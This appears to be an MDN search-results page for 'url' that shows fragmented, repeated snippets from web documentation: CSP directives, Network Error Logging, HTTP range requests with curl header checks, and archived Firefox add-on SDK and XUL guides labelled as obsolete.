... mail.example.com:443: matches all attempts to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. ...
...And 2 more matches
CSP: script-src-attr - HTTP
csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fallback to default-src directive. ...
... mail.example.com:443: matches all...
... mail.example.com:443: matches all attempts to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. ...
...And 2 more matches
Content-Security-Policy - HTTP
control the locations from which certain resource types may be loaded. child-src defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the frame-src and worker-src directives, respectively. connect-src restricts the
urls which can be loaded using script interfaces default-src serves as a fallback for the other fetch directives. font-src specifies valid sources for fonts loaded using @font-face. frame-src specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>. img-src specifies valid sources of images and favicons. manifest-src specifies valid sources of...
...style> elements and <link> elements with rel="stylesheet". style-src-attr specifies valid sources for inline styles applied to individual dom elements. worker-src specifies valid sources for worker, sharedworker, or serviceworker scripts. document directives document directives govern the properties of a document or worker environment to which a policy applies. base-uri restricts the
urls which can be used in a document's <base> element. plugin-types restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. sandbox enables a sandbox for the requested resource similar to the <iframe> sandbox attribute. navigation directives navigation directives govern to which locations a user can navigate or submit a form, fo...
...> element. plugin-types restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. sandbox enables a sandbox for the requested resource similar to the <iframe> sandbox attribute. navigation directives navigation directives govern to which locations a user can navigate or submit a form, for example. form-action restricts the
urls which can be used as the target of a form submissions from a given context. frame-ancestors specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>. navigate-to restricts the
urls to which a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc. reporting direc...
...And 2 more matches
Network Error Logging - HTTP
specifies the proportion of failed network requests to report. defaults to 1, so that all failed network requests will be reported if the key is not present in the json payload. ...
...for example: report-to: { "group": "nel", "max_age": 31556952, "endpoints": [ { "
url": "https://example.com/csp-reports" } ] } error reports in these examples, the entire reporting api payload is shown. the top-level "body" key contains the network error report. ...
...00 (bad request) response { "age": 20, "type": "network-error", "
url": "https://example.com/previous-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://example.com/previous-page", "sampling_fraction": 1, "server_ip": "137.205.28.66", "status_code": 400, "type": "http.error", "
url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dns in this report and no server_ip is available to include. ...
...And 2 more matches
HTTP range requests - HTTP
low to send only a portion of an http message from a server to a client. partial requests are useful for large media or downloading files with pause and resume functions, for example. checking if a server supports partial requests if the accept-ranges is present in http responses (and its value isn't "none"), the server supports range requests. you can check this by issuing a head request with c
url, for example. c
url -i http://i.imgur.com/z4d4kwk.jpg http/1.1 200 ok ... accept-ranges: bytes content-length: 146515 in this response, accept-ranges: bytes indicates that bytes can be used as unit to define a range. here the content-length header is also useful as it indicates the full size of the image to retrieve. if sites omit the accept-ranges header, they likely don't support partial re...
...es indicates that bytes can be used as unit to define a range. here the content-length header is also useful as it indicates the full size of the image to retrieve. if sites omit the accept-ranges header, they likely don't support partial requests. some sites also explicitly send "none" as a value, indicating no support. in some apps, download managers disable their pause buttons in that case. c
url -i https://www.youtube.com/watch?v=ewtz2xpqwpa http/1.1 200 ok ... accept-ranges: none requesting a specific range from a server if the server supports range requests, you can issue such a request by using the range header. it indicates the part(s) of a document that the server should return. single part ranges we can request a single range from a resource. again, we can test a request by u...
...tps://www.youtube.com/watch?v=ewtz2xpqwpa http/1.1 200 ok ... accept-ranges: none requesting a specific range from a server if the server supports range requests, you can issue such a request by using the range header. it indicates the part(s) of a document that the server should return. single part ranges we can request a single range from a resource. again, we can test a request by using c
url. ...
...And 2 more matches
Tools for SVG - SVG: Scalable Vector Graphics
« previous now that we covered the basics of the svg internals, we will take a look at some tools to work with svg files. browser support as of internet explorer 9, all major browsers support svg: ie 9, mozilla firefox, safari, google chrome and opera. mobile devices with webkit-based browsers also support svg. on older or smaller devices, chances are that svg tiny is supported. inkscape
url: www.inkscape.org one of the most important tools for a graphics format is a decent drawing program. inkscape offers state-of-the-art vector drawing, and it's open source. moreover, it uses svg as its native file format. to store inkscape specific data, it extends the svg file with elements and attributes in a custom namespace, but you can also choose to export as plain svg. adobe illustrator ...
... www.inkscape.org one of the most important tools for a graphics format is a decent drawing program. inkscape offers state-of-the-art vector drawing, and it's open source. moreover, it uses svg as its native file format. to store inkscape specific data, it extends the svg file with elements and attributes in a custom namespace, but you can also choose to export as plain svg. ...
...the toolkit is written in java and offers almost complete svg 1.1 support, as well as some features that were originally planned for svg 1.2. ...
...And 2 more matches
notifications - Archive of obsolete content
lithy toves", data: "did gyre and gimble in the wabe", onclick: function (data) { console.log(data); // console.log(this.data) would produce the same result. } }); this one displays an icon that's stored in the add-on's data directory. see the self module documentation for more information. ...
...data: "did gyre and gimble in the wabe", onclick: function (data) { console.log(data); // console.log(this.data) would produce the same result. } }); this one displays an icon that's stored in the add-on's data directory. see the self module documentation for more information. ...
...nsole.log(data); // console.log(this.data) would produce the same result. } }); this one displays an icon that's stored in the add-on's data directory. see the self module documentation for more information. var notifications = require("sdk/notifications"); var self = require("sdk/self"); var myicon
url = self.data.
url("myicon.png"); notifications.notify({ text: "i have an icon!", icon
url: myicon
url }); from firefox 34, you can use "./myicon.png" as an alias for self.data.
url("myicon.png"). so you can rewrite the above code like this: var notifications = require("sdk/notifications"); var myicon
url = "./myicon.png"; notifications.notify({ text: "i have an icon!", icon
url: myicon
url }); this module depends on the underlying system's notification service. if the user's syst...
...ommand line, notifications are logged to the terminal. globals functions notify(options) displays a transient notification to the user. parameters options : object optional options: name type title string a string to display as the message's title. text string a string to display as the body of the message. icon
url string the
url of an icon to display inside the message. it may be a remote
url, a data uri, or a
url returned by the self module. onclick function a function to be called when the user clicks the message. it will be passed the value of data. data string a string that will be passed to onclick. ...
self - Archive of obsolete content
ough the data object. the package specification article explains the package.json file. methods data.load(name) the data.load() method returns the contents of an embedded data file, as a string. it is most useful for data that will be modified or parsed in some way, such as json, xml, plain text, or perhaps an html template. ...
...or data that will be modified or parsed in some way, such as json, xml, plain text, or perhaps an html template. for data that can be displayed directly in a content frame, use data.
url(). parameters name : string the filename to be read, relative to the package's data directory. each package that uses the self module will see its own data directory. returns string : the file contents. data.
url(name) the data.
url() method returns a resource://
url that points at an embedded data file. it is most useful for data that can be displayed directly in a content frame. ...
...ta.
url(). parameters name : string the filename to be read, relative to the package's data directory. each package that uses the self module will see its own data directory. returns string : the file contents. data.
url(name) the data.
url() method returns a resource://
url that points at an embedded data file. it is most useful for data that can be displayed directly in a content frame. the
url can be passed to a content frame constructor, such as the panel: var self = require("sdk/self"); var mypanel = require("sdk/panel").panel({ content
url: self.data.
url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.
url("myfile.html"). so you can rewrite the above code like this: var mypanel = require("sdk/panel").panel({ contentur...
.../myfile.html" as an alias for self.data.
url("myfile.html"). so you can rewrite the above code like this: var mypanel = require("sdk/panel").panel({ content
url: "./myfile.html" }); mypanel.show(); parameters name : string the filename to be read, relative to the package's data directory. each package that uses the self module will see its own data directory. returns string : resource://
url pointing to the given location under data. ...
content/symbiont - Archive of obsolete content
you map optionally pass a frame into the symbiont's constructor: if you don't, then a new hidden frame will be created to host the content. this trait is composed from the loader and worker traits. ...
... script boolean whether or not to execute script in the content. defaults to true. optional. optional. symbiont symbiont is composed from the worker trait, therefore instances of symbiont and their descendants expose all the public properties exposed by worker along with additional public properties that are listed below: properties contentscriptfile the local file
urls of content scripts to load. content scripts specified by this property are loaded before those specified by the contentscript property. contentscript the texts of content scripts to load. content scripts specified by this property are loaded after those specified by the contentscriptfile property. contentscriptwhen when to load the content scripts. this may have one of the following values: ...
... allow permissions for the content, with a single boolean key called script which defaults to true and indicates whether or not to execute scripts in the content. ...
... allow permissions for the content, with a single boolean key called script which defaults to true and indicates whether or not to execute scripts in the content. ...
loader/sandbox - Archive of obsolete content
experimental create javascript sandboxes and execute scripts in them. usage create a sandbox to create a sandbox: const { sandbox, evaluate, load } = require("sdk/loader/sandbox"); let scope = sandbox('http://example.com'); the argument passed to the sandbox defines its privileges. the argument may be: a
url string, in which case the sandbox will get the same privileges as a script loaded from that
url a dom window object, to inherit privileges from the window being passed. omitted or null: then the sandbox will have chrome privileges giving it access to all the xpcom components. optionally the sandbox function can be passed a second argument (see sandbox documentation on mdn for details). evaluate code module provides evaluate function that lets you execute code in the give...
... // evaluate code as if it was loaded from 'http://foo.com/bar.js' and // start from 2nd line. evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); version of javascript can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5. load scripts this module provides a limited api for loading scripts from local
urls. data:
urls are supported. load(scope, 'resource://path/to/my/script.js'); load(scope, 'file:///path/to/script.js'); load(scope, 'data:,var a = 5;'); globals functions sandbox(source) make a new sandbox that inherits principals from source. parameters source : string|window|null an object that determines the privileges that will be given to the sandbox. this argument can be: a uri str...
...s'); load(scope, 'file:///path/to/script.js'); load(scope, 'data:,var a = 5;'); globals functions sandbox(source) make a new sandbox that inherits principals from source. parameters source : string|window|null an object that determines the privileges that will be given to the sandbox. this argument can be: a uri string, giving the sandbox the same privileges as a script loaded from that
url a dom window object, giving the sandbox the same privileges as the dom window null, to give the sandbox chrome privileges. returns sandbox : a sandbox in which you can evaluate and load javascript. evaluate(sandbox, code, uri, line, version) evaluate code in sandbox, and return the result. parameters sandbox : sandbox the sandbox to use. code : string the code to execute. uri : strin...
...g loaded from the given uri. optional. line : number evaluate the code starting at this line. optional, defaults to 1. version : string evaluate the code using this version of javascript. defaults to 1.8. returns result : returns whatever the evaluated code returns. load(sandbox, uri) evaluate code from uri in sandbox. parameters sandbox : sandbox the sandbox to use. uri : string the
url pointing to the script to load. it must be a local chrome:, resource:, file: or data:
url. returns result : returns whatever the evaluated code returns. ...
preferences/service - Archive of obsolete content
require("sdk/preferences/service").reset(name); getlocalized(name, defaultvalue) gets the localized value for an application preference name. parameters name : string defaultvalue : string preference value. returns string : localized preference value, returns a default value if no preference is set. some preferences refer to a properties file. so that prefs.get returns the properties file
url whereas prefs.getlocalized returns the value defined in the properties file. example: var prefs = require("sdk/preferences/service"); var name = "general.useragent.locale"; prefs.get(name); // is equal to "chrome://global/locale/intl.properties" prefs.getlocalized(name) // is equal to "en-us" setlocalized(name, value) sets the localized application preference name to value. parameters name ...
...perties file. example: var prefs = require("sdk/preferences/service"); var name = "general.useragent.locale"; prefs.get(name); // is equal to "chrome://global/locale/intl.properties" prefs.getlocalized(name) // is equal to "en-us" setlocalized(name, value) sets the localized application preference name to value. parameters name : string preference name. ...
... name. ...
...ce value, a
url to a properties file example: require("sdk/preferences/service").set("general.useragent.locale", "chrome://global/locale/intl.properties"); example: setting global preferences var { get, set } = require("sdk/preferences/service"); var { when: unload } = require("sdk/system/unload"); var oldvalue = get("browser.
urlbar.autofill"); set("browser.
urlbar.autofill", true); // by amo policy global preferences must be changed back to their original value unload(function() { set("browser.
urlbar.autofill", oldvalue); }); ...
Add a Context Menu Item - Archive of obsolete content
elected text. so: the user clicks the item the content script's click event fires, and the content script retrieves the selected text and sends a message to the add-on the add-on's message event fires, and the add-on code's handler function is passed the selected text, which it logs more options adding an image you can add an image to a context menu item with the image option. ...
...the add-on's message event fires, and the add-on code's handler function is passed the selected text, which it logs more options adding an image you can add an image to a context menu item with the image option. this is a
url pointing to a 16x16 icon that's displayed at the left side of the context menu item. ...
... event fires, and the add-on code's handler function is passed the selected text, which it logs more options adding an image you can add an image to a context menu item with the image option. this is a
url pointing to a 16x16 icon that's displayed at the left side of the context menu item. ...
... from firefox 35 you can specify an access key using the accesskey option. this must be a single-character string. pressing the key selects the option when the context menu is open: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.it...
Displaying annotations - Archive of obsolete content
end messages to the main module, asking it to show or hide the annotation. like the selector, the matcher also listens for the window's unload event and on unload sends a detach message to the main module, so the add-on can clean it up. ...
... $(annotationanchor).attr('annotation', annotation.annotationtext); } save this in data as matcher.js. ...
...tationtext); } save this in data as matcher.js. ...
....html. annotation panel content script the annotation panel has a minimal content script that sets the text: self.on('message', function(message) { $('#annotation').text(message); }); save this in data/annotation as annotation.js. updating main.js finally, update main.js with the code to construct the annotation panel: var annotation = panels.panel({ width: 200, height: 180, content
url: data.
url('annotation/annotation.html'), contentscriptfile: [data.
url('jquery-1.4.2.min.js'), data.
url('annotation/annotation.js')], onshow: function() { this.postmessage(this.content); } }); execute cfx run one last time. activate the annotator and enter an annotation. you should see a yellow border around the item you annotated: when you move your mouse over th...
Listen for Page Load - Archive of obsolete content
you don't get direct access to any content hosted in the tab. ...
... you don't get direct access to any content hosted in the tab. ...
... you don't get direct access to any content hosted in the tab. ...
... you don't get direct access to any content hosted in the tab. ...
Modifying the Page Hosted by a Tab - Archive of obsolete content
d border appear around the page, like this: keeping content scripts in a separate file in the example above, we've passed in content script as a string. unless script is extremely simple, maintain the script as a separate file in add-on's data directory. this makes the code easier to maintain, debug, and review. to do this, provide option contentscriptfile not contentscript, whose value is a
url pointing to one or more content script files. for example, if we save the script above under the add-on's data directory in a file called my-script.js: var self = require("sdk/self"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscript...
... or more content script files. for example, if we save the script above under the add-on's data directory in a file called my-script.js: var self = require("sdk/self"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscriptfile: self.data.
url("my-script.js") }); } }); you can load more than one script, and the scripts can interact directly with each other. so you can load jquery, and then your content script can use that. loading several content script files the data assigned to contentscriptfile can be a vector. scripts will be loaded in the same order as the vector. in the following example, we are loading two scripts, fi...
...cuted in the same context, so everything publicly defined in first.js will be accessible from second.js. // index.js var self = require("sdk/self"); var tabs = require("sdk/tabs"); require("sdk/ui/button/action").actionbutton({ id: "load-several", label: "load several scripts", icon: "./icon-16.png", onclick: function () { tabs.activetab.attach({ contentscriptfile: [self.data.
url('first.js'), self.data.
url('second.js')] }); } }); communicating with the content scripts your add-on script and content scripts can't directly access each other's variables or call each other's functions, but they can send each other messages. to send a message from one side to the other, sender calls port.emit() and receiver listens using port.on(). in the...
... injecting css unlike the page-mod api, tab.attach() doesn't enable you to inject css directly into a page. to modify the style of a page, you have to use javascript, as in the example above. learning more to l...
HTML to DOM - Archive of obsolete content
e.donkeybrowser_onpageload(e); }, true); } with that code, we obtain a reference to the iframe element we declared in the .xul file. the most interesting piece of code here is the domcontentloaded event listener we define for the element. ...
... the most interesting piece of code here is the domcontentloaded event listener we define for the element. ...
...t interesting piece of code here is the domcontentloaded event listener we define for the element. ...
... a real page, let's do our magic dump("[df]
url = "+
url+"\n"); var text = doc.evaluate("/html/body/h1",doc,null,xpathresult.string_type,null).stringvalue; dump("[df] text in /html/body/h1 = "+text+"\n"); } }, as you can see, we obtain full access to the dom of the page we loaded in background, and we can even evaluate xpath expressions. in the example, we dump() to the console the page's
url and the text contained in the first h1 tag of the page's <body>. but, we still need to see how to execute the famous loaduri() method using our iframe: donkeybrowser.webnavigation.loaduri("http://developer.mozilla.org", components.interfaces.nsiwebnavigation, null, null, null); also, i recommend you take a look at the nsiwebnavigation interface. ...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
elopment. also, because it works with the javascript in extensions and firefox itself, the debugger can be a good way to learn about design methods. installing this is bundled with the mozilla suite and the current version of seamonkey, but it needs to be installed as an extension in firefox. see https://addons.mozilla.org/firefox/216/. install the extension in firefox directly from the above
url and relaunch firefox. starting up select “javascript debugger” from the tools menu. targeting javascript for debugging. when venkman first launches, it can only debug the file currently open in your web browser. this is because a lot of javascript files can slow down the browser down if they’re opened for debugging, but you’ll need to lift this restriction in order to develop extensio...
...r debugging, but you’ll need to lift this restriction in order to develop extensions. uncheck the “exclude browser files” menu item under the debug menu (figure 1). fixme: figure 1: uncheck “exclude browser files.” set up quicknote for the purposes of this explanation, we’re going to use the file-storage mechanism in quicknote1 for our debugger. install quicknote from the following
url and relaunch firefox. https://addons.mozilla.org/firefox/46/. after relaunching firefox, activate quicknote. then select tools:quicknote:float to display it in its own window. using venkman read in source code activate venkman, and then select open windows:quicknote.xul:files on the top-left of the screen. double-click on quicknote.js to open it in source-code view (figure 2). fixme: figure ...
...ue to shift to that location and start investigating again. fixme: figure 4: adding a watch target mozunit mozunit is a tool for javascript that assists with unit testing. it provides an ui similar to that of eclipse’s junit test runner. it should be very easy for java programmers to get up to speed on it quickly. installing mozunit is a feature of mozlab. install mozlab from the following
url and relaunch firefox. http://hyperstruct.net/projects/mozunit after relaunching, set up the editor you’ll use to write tests. open the about:config screen and edit the extensions.mozlab.mozunit.editor property. parameters are as shown in table 1. if you want to use terapad2, for example, insert the following: c:\app\tpad090\terapad.exe /jl=%l %f table 1: parameters used in mozunit ...
...lot about how software works by studying its source code; with a massive project like firefox, people typically use special source-code browsing tools to make sense of it. mozilla cross-reference mozilla cross-reference is a full-text searchable source-code listing hosted at mozilla.org. we’re going to use mxr (http://mxr.mozilla.org), a linux source-code browser. getting started visit this
url: http://mxr.mozilla.org . in the left-hand sidebar, you should see a link to a search starting point and a search form (figure 5). fixme: figure 5: mxr.mozilla.org usage what am i looking for? if you just start poking through the source code at random, you may not find much of anything. so let’s figure out where to start looking. let’s say we’ve found the contents of listing 7 in the s...
Creating a dynamic status bar extension - Archive of obsolete content
val is specified in milliseconds). refreshinformation() the refreshinformation() function is called whenever we want to update the stock information. it's called whenever the user clicks on the status bar panel, when our extension is first added to a browser window, and by the interval handler to periodically update the display. refreshinformation: function() { var httprequest = null; var full
url = 'http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=goog'; // ... httprequest = new xmlhttprequest(); httprequest.open('get', full
url, true); httprequest.onload = inforeceived; httprequest.send(null); } the httprequest variable will contain an xmlhttprequest object. this object is used to configure and run an http request on a web server, which we'll use to fetch the sto...
...in this case, we're using yahoo's comma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog). ...
...in this case, we're using yahoo's comma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog). refreshinformation() embeds another function, inforeceived(), which we'll look at separately shortly. ...
...sing yahoo's comma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog). refreshinformation() embeds another function, inforeceived(), which we'll look at separately shortly. the first thing we do is create a new xmlhttprequest object to use for processing our request. we open the request, specifying that we wish to perform an http "get" command with the
url full
url. the true boolean value in the third parameter indicates that we want to process the request asynchronously. setting the httprequest.onload property to our inforeceived() function configures the request to call inforeceived() when the response is received from the server. finally, we send the request to the server and return. inforeceived() when the server responds to our request, our the...
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
te, firefox 1.0. see building an extension for updated instructions. now that we have a static overlay we're in good shape to create a xpi package that installs our extension as a dynamic overlay. xpis have a complex structure designed to separate ui layers from each other. to make our xpi we'll start out by creating a directory to hold the files we're going to add to the xpi. then we'll modify
urls in our files so they point to the right place. after that we'll create a contents.rdf file describing the tinderstatus component for the chrome registry and an install.js script to perform the installation. finally we'll zip the files into an archive. start out by creating a directory called tinderstatus-installer. create a tinderstatus subdirectory in it and a content sub-subdirectory in that ...
...rectory called tinderstatus-installer. create a tinderstatus subdirectory in it and a content sub-subdirectory in that subdirectory. copy the following files into the content sub-subdirectory: tinderstatusoverlay.xul tinderstatus.js tinderstatus.css tb-busted.png tb-nostatus.png tb-success.png tb-testfailed.png these are the files we're going to put into the xpi. ...
...lns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> we also need to change the
urls in the copy of tinderstatus.css: statusbarpanel#tinderbox-status { list-style-image:
url("chrome://tinderstatus/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image:
url("chrome://tinderstatus/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image:
url("chrome://tinderstatus/content/tb-testfailed.p...
...le-image:
url("chrome://tinderstatus/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image:
url("chrome://tinderstatus/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image:
url("chrome://tinderstatus/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image:
url("chrome://tinderstatus/content/tb-busted.png"); } then we need to create two files in the directory, one called contents.rdf which contains information for the chrome registry about the component being installed and one called install.js that contains the code to install the component. contents.rdf goes in the content sub-subdirectory: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.or...
Creating a Microsummary - Archive of obsolete content
u want to create microsummaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and languages you already use to generate pages. ...
...te pages on your site, you could write php code to output a microsummary when the view=microsummary
url parameter is present. then just link to the microsummaries from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the
url in the href attribute. if the
url points to a generator, it uses the generator to generate the microsummary for the page. otherwise, if the
url returns plain text content (or html content that can be converted to plain text), firefox uses the content as the microsummary for the page. beginnings generators are expressed as xml documents whose root element is the <generator> element in the http:/...
...upport microsummaries, however, so to improve the experience for those users, we should check to see if the user is using a microsummaries-enabled browser and display an explanatory message if not. ...
...n explanatory message if not. we might do so via the following code: <script> const warning = "sorry, you need a microsummary-enabled browser like firefox 2.0 to install and use microsummary generators."; function addgenerator(
url) { if (typeof window.sidebar == "object" && typeof window.sidebar.addmicrosummarygenerator == "function") window.sidebar.addmicrosummarygenerator(
url); else alert(warning); } </script> <button onclick="addgenerator('http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml')">install the spread firefox home page microsummary!</button> note that due to bug 341283, addmicrosummarygenerator() will not accept a relative
url. conclusion you should now have a microsummary generator that displays the current firefox down...
Tabs - Archive of obsolete content
iftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. ...
... default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(
urlstring)opens a new tab in your browser with a defined
url. ...
...lt text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(
urlstring)opens a new tab in your browser with a defined
url. ...
...text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(
urlstring)opens a new tab in your browser with a defined
url. ...
slideBar - Archive of obsolete content
a reinvention of the old sidebar features of browsers. they allow quick access to a wide range of both temporary and permanent information at the side of your browser window. when a slidebar feature is selected its contents will be revealed from behind the current webpage. it currently under development and lives in the future. ...
...hind the current webpage. it currently under development and lives in the future. jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xml
urluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar instance. ...
...d the current webpage. it currently under development and lives in the future. jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xml
urluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar instance. ...
...l to load content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({
url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
a (html): <font color="blue">big blue</font> internet explorer: <font color="blue">big blue</font> below is a list of commands that execcommand in mozilla supports: table 6. rich text editing commands command name description argument bold toggles the selection's bold attribute. --- createlink generates an html link from the selected text. the
url to use for the link delete deletes the selection. --- fontname changes the font used in the selected text. the font name to use (arial, for example) fontsize changes the font size used in the selected text. the font size to use fontcolor changes the font color used in the selected text. the color to use indent indents the blo...
...ontsize changes the font size used in the selected text. the font size to use fontcolor changes the font color used in the selected text. the color to use indent indents the block where the caret is. --- inserthorizontalrule inserts an <hr> element at the cursor's position. --- insertimage inserts an image at the cursor's position.
url of the image to use insertorderedlist inserts an ordered list (<ol>) element at the cursor's position. --- insertunorderedlist inserts an unordered list (<ul>) element at the cursor's position. --- italic toggles the selection's italicize attribute. --- justifycenter centers the content at the current line. --- justifyleft ju...
...e value of the specified header. functionref onerror if set, the references function will be called whenever an error occurs during the request. functionref onload if set, the references function will be called when the request completes successfully and the response has been received. use when an asynchronous request is used. void open (string http_method, string
url) void open (string http_method, string
url, boolean async, string username, string password) initializes the request for the specified
url, using either get or post as the http method. to send the request, call the send() method after initialization. if async is false, the request is synchronous, else it defaults to asynchronous. optionally, you can specify a username and password for...
... int readystate state of the request. possible values: value description 0 uninitialized - open() has not been called yet. 1 loading - send() has not been called yet. ...
Proxy UI - Archive of obsolete content
when needed. for the purposes of this document, "proxy mode" means both: whatever was selected in the ui (as opposed to the value of the network.proxy.type. the underlying behavior. the currently available modes are based on "network.proxy.type". for example, firefox 3: [ ] no proxy [ ] auto-detect proxy settings for this network [ ] manual proxy configuration: [ ] automatic proxy configuration
url: behavior default value: "no proxy" is selected all other "type" radio buttons are enabled, but not selected. "related" ui elements only two proxy modes have related ui. manual proxy is a list of proxy types that require a hostname and a port number. proxy autoconfiguration has a
url field and a reload button. enabling and disabling related fields when a radio button is selected, the relat...
...ing changes click "ok" to save changes to prefs. click "cancel" to discard changes. the radio buttons do not map to the proxy type in order (due the evolution of the ui): proxy mode "network.proxy.type" no proxy (direct) network.proxy.type=0 auto-detect proxy settings... (wpad) network.proxy.type=4 manual proxy configuration (manual) network.proxy.type=1 automatic proxy configuration
url (pac) network.proxy.type=2 manual manual allows the entry of a proxy server hostname name and server. the entries are on a per-protocol basis for: http, ssl (https), ftp, gopher. if configured, socks is used as a default: if the protocol was proxyable and did not match any of the previous protocols), then use socks. the socks version is selected by radio buttons: ( ) socks v4 ( ) socks v5 "n...
...lt: if the protocol was proxyable and did not match any of the previous protocols), then use socks. the socks version is selected by radio buttons: ( ) socks v4 ( ) socks v5 "no proxy for:" discussed in detail elsewhere... but should be noted that if you cut and paste from ie, the semi-colons are automatically converted to commas when you save changes (ff, tb, sm). automatic proxy configuration
url supports a
url (which is checked via urifixup) and a reload button. offline|online "plug" location status bar on the right side. right-click a menu is displayed that has the following items: online (proxy: none) online (proxy: auto discover) online (proxy: auto
url) online (proxy: manual) --- proxy configuration... <h7 name="details">details</h7> the menu should display the current proxy mode wi...
...selecting an enabled item sets the menu selection and the proxy mode (network.proxy.type) selecting a disabled item is not allowed. ...
Supporting private browsing mode - Archive of obsolete content
reference called "disable station history and scrobble when firefox is in private mode", and disabling publishing of that information inside the private browsing mode by default. it provides a means of disabling this behavior for users who do not want the extension to stop publishing the information in private browsing mode. note: it is not acceptable for an extension that records things like
urls or domains visited to even offer the option to opt out of private browsing mode. private browsing for theme designers if you want to make your theme look different when used in private browsing mode, you can do so quite easily by using the browsingmode attribute in the window element in browser.xul. this attribute has the value "normal" when the user isn't in private browsing mode, and is "priv...
...heme designers if you want to make your theme look different when used in private browsing mode, you can do so quite easily by using the browsingmode attribute in the window element in browser.xul. this attribute has the value "normal" when the user isn't in private browsing mode, and is "private" when in private browsing mode. ...
...mode, you can do so quite easily by using the browsingmode attribute in the window element in browser.xul. this attribute has the value "normal" when the user isn't in private browsing mode, and is "private" when in private browsing mode. ...
...sensitive data while private browsing mode is active. this is a new policy that is just being implemented (as of february, 2010). note: during the transition period as this policy is put into effect, there is some leeway as well as a grace period. see this blog post by ehsan akhgari for details on the transition period. the following categories define what's considered "sensitive" data: the
urls of pages the user has visited. the domains of sites the user has visited. the content of pages the user has visited. all data related to pages the user has visited, including cookies and form data. data used to customize the firefox user interface based on what happens in private browsing mode. add-ons that don't properly respect private browsing mode will be rejected. ...
Using XPInstall to Install Plugins - Archive of obsolete content
iles to xpinstall files. smartupdate involves a digitally signed jar file which contained the software components to be installed as well as a javascript install.js file (called the install script) as the installer logic. downloads and installs would be initiated with a security dialog box naming the certificate authority and the signer. ...
...e installed as well as a javascript install.js file (called the install script) as the installer logic. downloads and installs would be initiated with a security dialog box naming the certificate authority and the signer. often, the smartupdate download was triggered via the plugin
